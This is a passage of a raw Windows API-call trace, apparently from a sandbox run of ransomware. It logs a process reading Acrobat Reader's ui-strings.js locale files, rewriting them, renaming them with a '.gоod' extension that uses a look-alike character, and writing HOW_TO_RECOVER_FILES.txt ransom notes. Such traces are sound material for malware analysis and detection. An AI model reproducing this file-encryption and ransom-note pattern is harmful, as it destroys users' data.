lpBuffer=0x3522fd0*, lpNumberOfBytesWritten=0x1ffeb918*=0xe40, lpOverlapped=0x0) returned 1 [0130.014] CloseHandle (hObject=0x6e4) returned 1 [0130.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0130.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0130.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0130.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x49b5680e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe40)) returned 1 [0130.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0130.014] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0130.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0130.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0130.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0130.015] GetFileType (hFile=0x6e4) returned 0x1 [0130.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0130.015] GetFileType (hFile=0x6e4) returned 0x1 [0130.016] WriteFile (in: hFile=0x6e4, lpBuffer=0x3526840*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3526840*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0130.017] CloseHandle (hObject=0x6e4) returned 1 [0130.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0130.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de", lpFilePart=0x0) returned 0x68 [0130.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0131.665] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.665] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xece, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0131.665] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.665] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0131.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0131.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0131.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0131.665] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de", lpFilePart=0x0) returned 0x68 [0131.665] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0131.666] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xece, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xece, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0131.666] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0131.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0131.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0131.666] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0131.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0131.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3843f98 | out: lpFileInformation=0x3843f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xece)) returned 1 [0131.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0131.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0131.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0131.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0131.667] GetFileType (hFile=0x640) returned 0x1 [0131.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0131.667] GetFileType (hFile=0x640) returned 0x1 [0131.667] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xece [0131.667] ReadFile (in: hFile=0x640, lpBuffer=0x38451d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x38451d0*, lpNumberOfBytesRead=0x1ffeba08*=0xece, lpOverlapped=0x0) returned 1 [0131.668] CloseHandle (hObject=0x640) returned 1 [0131.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0131.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0131.697] GetFileType (hFile=0x640) returned 0x1 [0131.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0131.697] GetFileType (hFile=0x640) returned 0x1 [0131.698] WriteFile (in: hFile=0x640, lpBuffer=0x38c1228*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x38c1228*, lpNumberOfBytesWritten=0x1ffeb918*=0xed0, lpOverlapped=0x0) returned 1 [0131.698] CloseHandle (hObject=0x640) returned 1 [0131.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0131.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0131.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0131.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4ab6e62f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xed0)) returned 1 [0131.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0131.699] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0131.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0131.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0131.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0131.700] GetFileType (hFile=0x640) returned 0x1 [0131.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0131.700] GetFileType (hFile=0x640) returned 0x1 [0131.701] WriteFile (in: hFile=0x640, lpBuffer=0x38c4a98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x38c4a98*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0131.702] CloseHandle (hObject=0x640) returned 1 [0131.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0131.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae", lpFilePart=0x0) returned 0x68 [0131.702] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.118] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.119] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0132.120] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.120] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0132.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0132.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0132.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae", lpFilePart=0x0) returned 0x68 [0132.133] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0132.133] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.134] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0132.134] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0132.134] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0132.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0132.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0132.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0132.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0132.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37ba6a8 | out: lpFileInformation=0x37ba6a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0132.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0132.135] GetFullPathNameW (in: lpFileName="C:\\Program Files 